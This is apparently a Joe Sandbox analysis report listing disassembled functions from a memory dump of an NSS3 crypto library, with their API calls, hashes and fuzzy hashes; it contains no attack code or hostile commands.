Opcode ID: fc1f407274fd7bc57a9da30fc5714ede03a7286de33fb2d8c8c99bae74950e1a
Instruction ID: 251cb7a818936403f5fd93bb0a9ebcc9deb0af62fda40663478fb4c440da5021
Opcode Fuzzy Hash: fc1f407274fd7bc57a9da30fc5714ede03a7286de33fb2d8c8c99bae74950e1a
Instruction Fuzzy Hash: 783136B1A0C2958BC700CF69E8D4AAFBBBAAF41314B1C8684E9441BF81D371EC84C7D0

Function 6CA80DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CA80BDE), ref: 6CA80DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CA80BDE), ref: 6CA80DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CA80BDE), ref: 6CA80DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CA80BDE), ref: 6CA80E32

Strings

%s incr => %d (find lib), xrefs: 6CA80E2D

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: dc074e138a55c7e3e3215bb24185b21ed30ba1a8f1dab95a91e97e2cce7471ff
Instruction ID: c2ab2f7539226c7d82b44ef8b4d864265e8adc65b756335c69ea7dba70a89335
Opcode Fuzzy Hash: dc074e138a55c7e3e3215bb24185b21ed30ba1a8f1dab95a91e97e2cce7471ff
Instruction Fuzzy Hash: C0012472B02290AFE7209F64EC45E1B73BCEB45A09B09482DE949D3B41E761FC5986E1

Function 6CA29C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CA29CF2
LeaveCriticalSection.KERNEL32(?), ref: 6CA29D45
EnterCriticalSection.KERNEL32(?), ref: 6CA29D8B
LeaveCriticalSection.KERNEL32(?), ref: 6CA29DDE

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: e4d61dc4a019b7edaf56a2f2a3749dfaa3b00447925efe67c692dff9aba1637b
Instruction ID: d84aac7a73f5f4aa553af89c1fc7aba2f64f51fb75fbdf6a6a775ff858b26e3c
Opcode Fuzzy Hash: e4d61dc4a019b7edaf56a2f2a3749dfaa3b00447925efe67c692dff9aba1637b
Instruction Fuzzy Hash: 0DA1C3717042608FEB48AF38EA9977E377ABB4AB14F1C012CD41647B45DB3D9885CB92

Function 6CAB1E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6CAB1ECC

Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590AB
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB590C9
Part of subcall function 6CB59090: EnterCriticalSection.KERNEL32 ref: 6CB590E5
Part of subcall function 6CB59090: TlsGetValue.KERNEL32 ref: 6CB59116
Part of subcall function 6CB59090: LeaveCriticalSection.KERNEL32 ref: 6CB5913F

TlsGetValue.KERNEL32 ref: 6CAB1EDF
EnterCriticalSection.KERNEL32(?), ref: 6CAB1EEF
PR_ExitMonitor.NSS3(?), ref: 6CAB1F37
PR_Unlock.NSS3(?), ref: 6CAB1F44

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 92621310fb235cc519b3ce8e85255f019f0c7c9dc5fa071a9769726eed0a1104
Instruction ID: 51bec783689771d3eccc9cd1fb70ea90e126124fd2b33c083d67351a21cbd809
Opcode Fuzzy Hash: 92621310fb235cc519b3ce8e85255f019f0c7c9dc5fa071a9769726eed0a1104
Instruction Fuzzy Hash: E071A1759043019FD700CF24D840A6BB7F9FF88358F18492AE999A3B11E731F999CB92

Function 6CB3DD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB3DD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6CB3DE77

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: 13c6c6fdfbfc50a81304bfccabda22272f9788ba957e71c4b634abb2cdde7068
Instruction ID: f1fdf940671180fb543eed730aa4d87064dc6a4e5a6dbb882d9be87971e72123
Opcode Fuzzy Hash: 13c6c6fdfbfc50a81304bfccabda22272f9788ba957e71c4b634abb2cdde7068
Instruction Fuzzy Hash: A8716471A10328CBCF10CFAAD9C068ABBB4FF49718F25916DD8596B742D770A905CF81

Function 6CA36D2E Relevance: 7.6, APIs: 5, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 6CA23C40: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA23C66
Part of subcall function 6CA23C40: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CA23D04

memcpy.VCRUNTIME140(?,?,?), ref: 6CA36DC0
memcpy.VCRUNTIME140(?,?,?), ref: 6CA36DE5

Part of subcall function 6CA38010: _byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA3807D
Part of subcall function 6CA38010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA380D1
Part of subcall function 6CA38010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA3810E
Part of subcall function 6CA38010: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA38140

memcpy.VCRUNTIME140(00000004,00000004,00000000), ref: 6CA36E7E
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA36E96
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA36EC2

Part of subcall function 6CA37D70: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA37E27
Part of subcall function 6CA37D70: _byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA37E67

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: _byteswap_ulong$memcpy$_byteswap_ushort
String ID:
API String ID: 3070372028-0
Opcode ID: 848c820c84e3ba32651aa9a9d26f40a2b88f3f9ef7b005cdd258c69f0d4c2721
Instruction ID: a8d0e5b4aaa9de652c88c1e1483122bbbd76512e1d8418f8b0c6b421cb616706
Opcode Fuzzy Hash: 848c820c84e3ba32651aa9a9d26f40a2b88f3f9ef7b005cdd258c69f0d4c2721
Instruction Fuzzy Hash: 52518E719083A19FC724CF65C550B6ABBE5FF88318F08895DE8A987741E330E959CB92

Function 6CAADFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6CAAAB10: DeleteCriticalSection.KERNEL32(D958E852,6CAB1397,5B5F5EC0,?,?,6CAAB1EE,2404110F,?,?), ref: 6CAAAB3C
Part of subcall function 6CAAAB10: free.MOZGLUE(D958E836,?,6CAAB1EE,2404110F,?,?), ref: 6CAAAB49
Part of subcall function 6CAAAB10: DeleteCriticalSection.KERNEL32(5D5E6CCA), ref: 6CAAAB5C
Part of subcall function 6CAAAB10: free.MOZGLUE(5D5E6CBE), ref: 6CAAAB63
Part of subcall function 6CAAAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CAAAB6F
Part of subcall function 6CAAAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CAAAB76

TlsGetValue.KERNEL32(?,?,6CAAB266,6CAB15C6,?,?,6CAB15C6), ref: 6CAADFDA
EnterCriticalSection.KERNEL32(?,?,?,6CAAB266,6CAB15C6,?,?,6CAB15C6), ref: 6CAADFF3
PK11_IsFriendly.NSS3(?,?,?,?,6CAAB266,6CAB15C6,?,?,6CAB15C6), ref: 6CAAE029
PK11_IsLoggedIn.NSS3 ref: 6CAAE046

Part of subcall function 6CAB8F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAB8FAF
Part of subcall function 6CAB8F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAB8FD1
Part of subcall function 6CAB8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAB8FFA
Part of subcall function 6CAB8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CAB9013
Part of subcall function 6CAB8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353), ref: 6CAB9042
Part of subcall function 6CAB8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAB905A
Part of subcall function 6CAB8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CAB9073
Part of subcall function 6CAB8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353), ref: 6CAB9111

PR_Unlock.NSS3(?,?,?,?,6CAAB266,6CAB15C6,?,?,6CAB15C6), ref: 6CAAE149

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: b22e4512739e65fdfffe83e1774c6529888f779802c97f444cadedf42295070e
Instruction ID: 465728d4570b296aed612bc6f69a7a9a32c4680a9fff1c0c9a4506f9fb4948b4
Opcode Fuzzy Hash: b22e4512739e65fdfffe83e1774c6529888f779802c97f444cadedf42295070e
Instruction Fuzzy Hash: 00514774600611CFDB10DFA9C58476ABBF1BF44308F19896CD8998B741E731E89ACB92

Function 6CABBE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6CABBF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CABBF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6CA99F71,?,?,00000000), ref: 6CABBF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6CABBFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CABC014

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 327557876842bd6d1545d151fe9d73f5ad66bb34f4032750d92da4dd92969778
Instruction ID: fc8be81e05a71da59852b474ba3f123041e1ea1d8c1d0cd70cc9cee487ebfdbf
Opcode Fuzzy Hash: 327557876842bd6d1545d151fe9d73f5ad66bb34f4032750d92da4dd92969778
Instruction Fuzzy Hash: 0141B675A012059BEB00CE76ED80BAA77BDAF44208F154228E919E7B41FB31D989CBD1

Function 6CA8EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CA8EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CA8EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CA8EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA8EEEB
free.MOZGLUE(?), ref: 6CA8EEF6

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: ed38839f53aedc0045a3e9d8259034026721605a9c5c267bd7c026aca7880908
Instruction ID: e7ca632e64b5089453ff9499ea1ed0843f11949181bb4bc80aa26fe9ba1b787d
Opcode Fuzzy Hash: ed38839f53aedc0045a3e9d8259034026721605a9c5c267bd7c026aca7880908
Instruction Fuzzy Hash: 2C31F575A01250EBEB209F2CDC44B667BB4FB46744F180529E86A87B50D731E894CBE1

Function 6CAA1F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CAA1F1C

Part of subcall function 6CAF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1000
Part of subcall function 6CAF0FF0: PR_NewLock.NSS3(?,00000800,6CA8EF74,00000000), ref: 6CAF1016
Part of subcall function 6CAF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA987ED,00000008,?,00000800,6CA8EF74,00000000), ref: 6CAF102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6CBB9EBC), ref: 6CAA1FB8
SEC_ASN1EncodeItem_Util.NSS3(6CBB9E9C,?,?,6CBB9E9C), ref: 6CAA200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CAA2020

Part of subcall function 6CA96A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CA9AD50,?,?), ref: 6CA96A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAA2030

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: bc3b8358adc95cf3e492405b442ecea7804c52d18846974c3ab8124fd2580cfc
Instruction ID: 5c8580c058fddfb57f8b5d82dcbf66e466b944749fe08ffe3a6cc9b0b307a15f
Opcode Fuzzy Hash: bc3b8358adc95cf3e492405b442ecea7804c52d18846974c3ab8124fd2580cfc
Instruction Fuzzy Hash: 18210575901641BBE7004E56DD40BAA7768FF4532CF180215F92897F80E731E9A9C7A1

Function 6CAD1EA0 Relevance: 7.6, APIs: 5, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,?,6CAB6295,?,00000000,00000000,00000001,6CAD2653,?), ref: 6CAD1ECB

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

TlsGetValue.KERNEL32(?,00000001,?,?,6CAB6295,?,00000000,00000000,00000001,6CAD2653,?), ref: 6CAD1EF1
EnterCriticalSection.KERNEL32(?), ref: 6CAD1F01
PR_SetError.NSS3(00000000,00000000), ref: 6CAD1F39

Part of subcall function 6CADFE20: TlsGetValue.KERNEL32(6CAB5ADC,?,00000000,00000001,?,?,00000000,?,6CAABA55,?,?), ref: 6CADFE4B
Part of subcall function 6CADFE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CADFE5F

PR_Unlock.NSS3(?), ref: 6CAD1F67

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID:
API String ID: 704537481-0
Opcode ID: 3869ffef8d27c40edf5e0d87773eb4126c3dd2027e2c8cf3d6e6d5d5b154afed
Instruction ID: 4e9b68d41658f4cbac4f1fa9d89df18655476e83c0f15ec50deecd9f980a21db
Opcode Fuzzy Hash: 3869ffef8d27c40edf5e0d87773eb4126c3dd2027e2c8cf3d6e6d5d5b154afed
Instruction Fuzzy Hash: 8A210675A002159BEB009E69EC44BAA3779EF49378F1A4525FE1887701EB30F994C7E1

Function 6CA91DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CA91E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CA91E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA91E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CA91E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CA91EAD

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: 4aa15394ca1b4c316b978b899992fae7bbc02727d3fb7d4628dbe8a03fd36b1e
Instruction ID: bf63ba3cac6d843e5e305630fb8fa37c1c1b29a167dac36013be9aceb1ee8bb3
Opcode Fuzzy Hash: 4aa15394ca1b4c316b978b899992fae7bbc02727d3fb7d4628dbe8a03fd36b1e
Instruction Fuzzy Hash: E3212B76E143249BD7008E68DC42B7F73E89B84368F184638EE5D57780E730D94987D2

Function 6CBA1E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CBA1E5C

Part of subcall function 6CB59BF0: TlsGetValue.KERNEL32(?,?,?,6CBA0A75), ref: 6CB59C07

PR_Lock.NSS3(00000000), ref: 6CBA1E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CBA1EAB
PR_GetCurrentThread.NSS3 ref: 6CBA1ED0
PR_Unlock.NSS3(?), ref: 6CBA1EE8

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: c7bf737eaa9a27436324a42fb160a64acf39583294ce9f897a3640f2996982a9
Instruction ID: 90d235d4a308ee0eb27e096daf5a8087e60ab4c07eeea4b2e61ce2e51acfc96e
Opcode Fuzzy Hash: c7bf737eaa9a27436324a42fb160a64acf39583294ce9f897a3640f2996982a9
Instruction Fuzzy Hash: 0721C174A195A2EBD780CF99D840A06B7B1FF44718B298225D8599BF40D730FC22CBD2

Function 6CAEBE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CA9E708,00000000,00000000,00000004,00000000), ref: 6CAEBE6A

Part of subcall function 6CAF0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF08B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CAA04DC,?), ref: 6CAEBE7E

Part of subcall function 6CAEFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAE8D2D,?,00000000,?), ref: 6CAEFB85
Part of subcall function 6CAEFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CAEFBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CAEBEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CAA04DC,?,?), ref: 6CAEBED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CAEBEEB

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
